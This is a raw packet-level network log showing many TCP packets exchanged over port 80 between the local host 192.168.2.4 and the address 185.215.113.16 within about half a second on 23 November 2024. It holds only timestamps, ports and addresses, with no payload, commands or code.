Nov 23, 2024 20:23:11.485554934 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.485630989 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.486332893 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.486382008 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.486510038 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.486560106 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.487214088 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.487262964 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.487407923 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.487452984 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.488212109 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.488280058 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.488292933 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.488346100 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.489005089 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.489048958 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.489116907 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.489168882 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.489890099 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.489959002 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.489988089 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.490040064 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.490792036 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.490850925 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.491056919 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.491099119 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.491687059 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.491734028 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.491831064 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.491873026 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.492572069 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.492615938 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.492631912 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.492672920 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.493460894 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.493521929 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.493572950 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.493647099 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.494366884 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.494415998 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.494581938 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.494621038 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.495255947 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.495301008 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.495363951 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.495405912 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.496128082 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.496171951 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.627789974 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.627911091 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.627935886 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.627948999 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.627962112 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.628005981 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.628173113 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.628220081 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.628910065 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.628961086 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.629004955 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.629051924 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.629776001 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.629822969 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.629869938 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.629918098 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.630673885 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.630721092 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.630800009 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.630848885 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.631558895 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.631611109 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.631685972 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.631731987 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.632432938 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.632478952 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.632522106 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.632563114 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.633308887 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.633353949 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.647500992 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.647545099 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.647552013 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.647722960 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.647748947 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.647763968 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.647828102 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.647876978 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.648607969 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.648653030 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.648734093 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.648781061 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.649512053 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.649560928 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.649604082 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.649646044 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.650391102 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.650437117 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.650505066 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.650549889 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.651292086 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.651350021 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.651423931 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.651477098 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.652177095 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.652224064 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.652287006 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.652333975 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.653081894 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.653124094 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.653304100 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.653348923 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.653976917 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.654021025 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.654083967 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.654128075 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.654874086 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.654922962 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.654953957 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.655000925 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.655747890 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.655792952 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.655924082 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.655970097 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.656653881 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.656699896 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.656788111 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.656847000 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.657529116 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.657574892 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.657666922 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.657712936 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.658582926 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.658627987 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.658701897 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.658746958 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.659373999 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.659392118 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.659419060 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.659451962 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.660197020 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.660248995 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.660312891 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.660361052 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.661102057 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.661153078 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.661185980 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.661236048 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.661983967 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.662038088 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.662096024 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.662137985 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.662893057 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.662940025 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.663018942 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.663063049 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.663778067 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.663825989 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.663906097 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.663949013 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.664696932 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.664741039 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.665308952 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.665390968 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.665572882 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.665621996 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.665688038 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.665735006 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.666472912 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.666522980 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.666596889 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.666644096 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.667367935 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.667419910 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.667453051 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.667500973 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.668245077 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.668289900 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.668351889 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.668395042 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.669145107 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.669193983 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.669230938 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.669274092 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.670032978 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.670080900 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.670155048 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.670208931 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.670928001 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.671000004 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.671082973 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.671129942 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.671837091 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.671890020 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.671920061 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.671962023 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.672806025 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.672821999 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.672847033 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.672883987 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.673619986 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.673667908 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.673723936 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.673770905 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.674483061 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.674527884 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.674607992 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.674655914 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.675379038 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.675427914 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.675493956 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.675542116 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.676268101 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.676347971 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.676377058 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.676419973 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.677160025 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.677208900 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.677237034 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.677305937 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.678077936 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.678175926 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.678201914 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.678217888 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.678961039 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.679009914 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.679068089 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.679115057 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.679836035 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.679882050 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.680016041 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.680075884 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.680738926 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.680785894 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.680843115 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.680900097 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.681879044 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.681924105 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.681946993 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.681992054 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.682754040 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.682804108 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.682816982 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.682869911 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.683410883 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.683459044 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.683487892 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.683532000 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.684282064 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.684325933 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.684412956 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.684478045 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.685173035 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.685218096 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.685321093 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.685365915 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.686085939 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.686134100 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.686206102 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.686252117 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.686980009 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.687028885 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.687102079 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.687146902 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.687876940 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.687932014 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.688011885 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.688060999 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.819930077 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.820061922 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.820245981 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.820312023 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.820424080 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.820483923 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.821203947 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.821317911 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.821373940 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.822099924 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.822212934 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.822274923 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.823002100 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.823120117 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.823173046 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.823892117 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.824024916 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.824079990 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.824774981 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.824860096 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.824918032 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.839615107 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.839802980 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.839875937 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.839971066 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.840061903 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.840111017 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.840853930 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.840910912 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.841198921 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.841310978 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.841367006 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.842112064 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.842210054 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.842267036 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.842983961 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.843059063 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.843101978 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.843887091 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.843938112 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.843981981 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.844849110 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.844901085 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.844958067 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.845504045 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.845685005 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.845736027 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.845788002 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.846749067 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.846765041 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.846816063 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.847465038 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.847507000 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.847569942 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.848340034 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.848396063 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.848429918 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.849234104 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.849278927 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.849337101 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.849384069 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.850639105 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.850655079 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.850703955 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.853550911 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.853610039 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.853724003 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.853739977 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.853755951 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.853775024 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.853790998 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.854310036 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.854459047 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.854511976 CET	49760	80	192.168.2.4	185.215.113.16
